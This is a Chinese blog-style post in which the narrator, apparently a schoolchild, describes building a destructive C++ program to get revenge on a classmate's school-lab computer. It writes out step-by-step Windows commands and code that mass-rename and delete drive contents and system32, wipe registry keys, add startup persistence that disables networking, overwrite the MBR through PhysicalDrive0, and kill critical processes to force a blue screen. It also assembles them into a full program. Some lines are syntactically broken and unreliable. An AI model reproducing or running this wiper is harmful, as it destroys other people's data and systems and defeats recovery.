一天,暑假托管班里,因为我们班只选出了15个优秀的学生,然后呢这15个里面除了我其他都是女的,然后呢那14个女的就天天欺负我单枪匹马,然后呢其中有一个人和我信息课做同桌,于是,一个不怀好意的心思涌上了心头。
竟然敢惹本王!没事找事,看我不把你弄得吃不了兜着走!
于是我就开始研究一种C++强力病毒
首先C++版本必须要高于5.9.2的
第一步:打好代码库
#include<bits/stdc++.h>
#include<iostream>
#include <cstdlib>
#include<cstdlib>
#include<ctime>
#include<Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include<cstring>
#include "fstream"
#include <conio.h>
using namespace std;
#include <cmath>
//http://win7simu.visnalize.com/win7模拟器入口
using std::cout; using std::endl;
using std::copy; using std::string;
第二步:大家都知道病毒一起运行效果可能不怎么理想,而且用char*new[10000]放在Windows7虽然杀伤力挺不错,但是放在Win10也就卡个4秒多就报错终止了,于是我打算用这种方法来影响计算机运行速度
while (1)
{
new int;
}
这样不仅杀伤力也不错,而且还不容易被系统报错,但问题是不能造成强大的杀伤力,于是我将其作为了辅助程序
第一步
我们不要太狠,因为后面我们要删除系统备份文件,因为我们学校机房电脑会备份的,无论你搞得多么狠,还是会重来,但是D盘和C盘不会备份,所以我们先去破坏D盘文件
要是有人要狠一点的话
system("ren d:\\*.txt *.htm");//意思就是更改D盘中所有txt文件后缀更改为htm,但是我觉得不够狠,于是我这样改
system("ren d:\\*.exe *.txt");//这样D盘中所有exe文件就改成了txt文件,够狠吧!要是有人真要作死,可以把D盘改成C盘,这样才叫刺激
然后再用同样的代码把E盘,F盘(管他有没有)都给更改了。
第二步
释放病毒文件隐藏在C盘和D盘
system("copy d:\\X3fang勒索病毒 c:\\");
system("copy d:\\X3fang勒索病毒 d:\\");
第三步
删除gho映像文件,重装系统没有用!
system("rd f:/ghost.../ /s /q");//若运行失败,在斜杠上再加一个即可
第四步
格式化硬盘
system("rd/s/q D:\\");
system("rd/s/q C:\\");
system("rd/s/q E:\\");
system(rd/s/q F:\\"");
system("rd/s/q g:\\");
就算格式化不了,也得尽可能试试(WinXp成功了,虚拟机报废)
第五步
删除系统重要文件
system("del c:\WINDOWS\system32\*.*/q");
第六步
删除所有注册表
system("@echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*");
第七步
永久禁用网络
system("echo @echo off>c:\\windows\\wimn32.bat echo
break
off>>c:\\windows\\wimn32.bat echo ipconfig/release_all>>c:\\windowswimn32.bat echo end>>c:\\windows\\wimn32.bat reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WINDOWsAPI /t reg_sz /d c:\\windows\\wimn32.bat /f reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVision\\Run /v CONTROLexit /t reg_sz /d c:/Windows/wimn32.bat /f Pause
");
第八步
重点来了!无论前面能不能运行,这一步是关键!
修改MBR!
和Windows XP horror一样
#include <Windows.h>
#include <stdio.h>
unsigned char scode[]=
"\xb8\x12\x00"
"\xcd\x10\xbd"
"\x18\x7c\xb9";
DWORD writeMBR()
{
DWORD dwBytesReturned;
BYTE pMBR[512]={0};
memcpy(pMBR, scode, sizeof(scode));
pMBR[510]=0x55;
pMBR[511]=0xaa;
HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("createfile failed...");
return -1;
}
/*Parameters
hDevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.
dwIoControlCode
The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation.
lpInBuffer
Not used with this operation; set to NULL.
nInBufferSize
Not used with this operation; set to zero.
lpOutBuffer
Not used with this operation; set to NULL.
nOutBufferSize
Not used with this operation; set to zero.
lpBytesReturned
A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
return 0;
}
int main(int argc, char* argv[])
{
Sleep(5000);
writeMBR();
return 0;
}
然后破坏了MBR是不会立刻死机的,于是乎,我们让电脑有一个安心的死法
蓝屏死机,重启无法进入系统
但是蓝屏有很多代码,我怕就用一个会被安全软件识别到,所以我全都用了
有些人电脑是Win7的,就用这个代码
system("wmic process where name="smss.exe" delete");//直接蓝屏
Win10以下哪一行都可以
system("wmic process where name="svchost.exe" delete");
system("wmic process where name="LsaIso.exe" delete");
system("taskkill /f /fi "pid ne 1");
然后看总代码
#include<bits/stdc++.h>
#include<iostream>
#include <cstdlib>
#include<cstdlib>
#include<ctime>
#include<Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include<cstring>
#include "fstream"
#include <conio.h>
using namespace std;
#include <cmath>
//http://win7simu.visnalize.com/win7模拟器入口
using std::cout; using std::endl;
using std::copy; using std::string;
int phmbr();
int main()
{
system("ren?d:\\*.txt *.htm");//意思就是更改D盘中所有txt文件后缀更改为htm,但是我觉得不够狠,于是我这样改
system("ren?d:\\*.exe *.txt");//这样D盘中所有exe文件就改成了txt文件,够狠吧!要是有人真要作死,可以把D盘改成C盘,这样才叫刺激
system("copy d:\\X3fang勒索病毒?c:\\");
system("copy d:\\X3fang勒索病毒 d:\\");
system("rd f:/ghost.../ /s /q");//若运行失败,在斜杠上再加一个即可
system("rd/s/q D:\\");
system("rd/s/q C:\\");
system("rd/s/q E:\\");
system("rd/s/q F:\\");
system("rd/s/q G:\\");
system("del c:\WINDOWS\system32\*.*/q");
system("@echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*");
system("echo @echo off>c:\\windows\\wimn32.bat echo?break?off>>c:\\windows\\wimn32.bat echo ipconfig/release_all>>c:\\windowswimn32.bat echo end>>c:\\windows\\wimn32.bat reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WINDOWsAPI /t reg_sz /d c:\\windows\\wimn32.bat /f reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVision\\Run /v CONTROLexit /t reg_sz /d c:/Windows/wimn32.bat /f Pause");
//要是这一行报错就直接删了
system("D:\\MBR.exe");//打开破坏MBR的文件
system("wmic process where name="svchost.exe" delete");
system("wmic process where name="LsaIso.exe" delete");
system("taskkill /f /fi "pid ne 1");
return 0;
}
然后将破坏MBR的代码另存到D盘中,名为MBR,运行后再5秒内赶紧关闭,再运行总代码,就可以成功运行了
不要拿代码去干坏事哦!